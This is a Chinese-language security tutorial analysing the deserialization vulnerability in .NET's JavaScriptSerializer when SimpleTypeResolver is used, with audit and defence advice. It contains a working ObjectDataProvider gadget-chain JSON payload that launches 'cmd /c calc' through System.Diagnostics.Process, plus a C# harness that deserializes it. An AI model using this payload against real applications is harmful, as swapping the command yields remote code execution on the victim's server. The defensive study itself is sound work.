.net反序列化之JavaScriptSerializer
字数 1495 2025-08-05 08:17:46
.NET反序列化漏洞分析:JavaScriptSerializer
1. JavaScriptSerializer概述
JavaScriptSerializer是.NET框架中用于在对象和JSON字符串之间进行转换的API,位于System.Web.Script.Serialization命名空间下。
主要功能
- 对象序列化为JSON字符串
- JSON字符串反序列化为对象
- 支持自定义类型解析
2. 基本使用示例
2.1 简单序列化/反序列化
using System;
using System.Web.Script.Serialization;
namespace JavaScriptDeserialize
{
class Person
{
public string Name { get; set; }
}
class Program
{
static void Main(string[] args)
{
// 不使用SimpleTypeResolver
Person person = new Person() { Name = "jack" };
JavaScriptSerializer serializer = new JavaScriptSerializer();
string json = serializer.Serialize(person);
Console.WriteLine(json); // 输出: {"Name":"jack"}
Person p = serializer.Deserialize<Person>(json);
Console.WriteLine(p.Name); // 输出: jack
}
}
}
2.2 使用SimpleTypeResolver的序列化
// 使用SimpleTypeResolver
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
string jsonWithType = serializerWithType.Serialize(person);
Console.WriteLine(jsonWithType);
// 输出: {"__type":"JavaScriptDeserialize.Person, JavaScriptDeserialize, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"jack"}
Person p1 = serializerWithType.Deserialize<Person>(jsonWithType);
Console.WriteLine(p1.Name); // 输出: jack
3. 反序列化漏洞原理
3.1 关键点分析
-
类型解析器(JavaScriptTypeResolver):
- 构造函数
public JavaScriptSerializer(JavaScriptTypeResolver resolver)接受类型解析器参数 - 当使用
SimpleTypeResolver时,序列化的JSON会包含类型信息(__type字段)
- 构造函数
-
反序列化过程:
- 所有反序列化方法最终调用
internal static object Deserialize(JavaScriptSerializer serializer, string input, Type type, int depthLimit) - 当节点标签是Object类型时:
- 先通过
DeserializeDictionary获取键值对字典 - 如果包含
__type字段,则进入ConvertObjectToType转换类型 - 最终通过
ConvertDictionaryToObject处理
- 先通过
- 所有反序列化方法最终调用
-
漏洞触发点:
- 在
ConvertDictionaryToObject中:if (serializer.TypeResolver != null) { // 获取__type字段值 object obj2 = dictionary["__type"]; string text = obj2 as string; // 通过TypeResolver解析类型 Type type2 = serializer.TypeResolver.ResolveType(text); // 创建实例 object obj3 = Activator.CreateInstance(type2); } TypeResolver.ResolveType直接使用Type.GetType获取类型,意味着__type字段可以控制对象类型
- 在
4. 攻击链构造
4.1 利用ObjectDataProvider攻击链
使用ObjectDataProvider创建Process实例执行命令:
{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c calc"
}
}
}
4.2 漏洞利用代码示例
using System;
using System.IO;
using System.Web.Script.Serialization;
namespace JavaScriptDeserialize
{
class Program
{
static void Main(string[] args)
{
JavaScriptSerializer serializerWithType =
new JavaScriptSerializer(new SimpleTypeResolver());
// 从文件读取恶意JSON并反序列化
serializerWithType.Deserialize<Object>(File.ReadAllText("malicious.json"));
}
}
}
5. 安全审计要点
-
输入控制:
- 检查传入的JSON字符串是否可控
- 验证外部输入的JSON数据
-
类型解析器使用:
- 检查是否使用了
JavaScriptTypeResolver - 如果使用自定义类型解析器,检查对type的校验是否严格
- 检查是否使用了
-
反序列化方法:
- 注意所有三个反序列化重载方法都可能存在风险
- 即使是
Deserialize<Object>也会触发漏洞
6. 防御措施
-
避免使用SimpleTypeResolver:
- 除非必要,不要使用
new JavaScriptSerializer(new SimpleTypeResolver())
- 除非必要,不要使用
-
使用安全替代方案:
- 考虑使用
Newtonsoft.Json等更安全的JSON库 - 配置严格的类型解析策略
- 考虑使用
-
输入验证:
- 对反序列化的JSON数据进行严格验证
- 过滤或拒绝包含
__type字段的JSON
-
最小权限原则:
- 在可能执行反序列化的环境中降低权限
7. 总结
JavaScriptSerializer的反序列化漏洞主要源于:
- 允许通过
__type字段指定任意类型 - 使用
SimpleTypeResolver时缺乏严格的类型检查 - 通过
Activator.CreateInstance直接创建指定类型的实例
开发人员应特别注意使用JavaScriptSerializer时的安全配置,避免将不受信任的JSON数据反序列化为对象。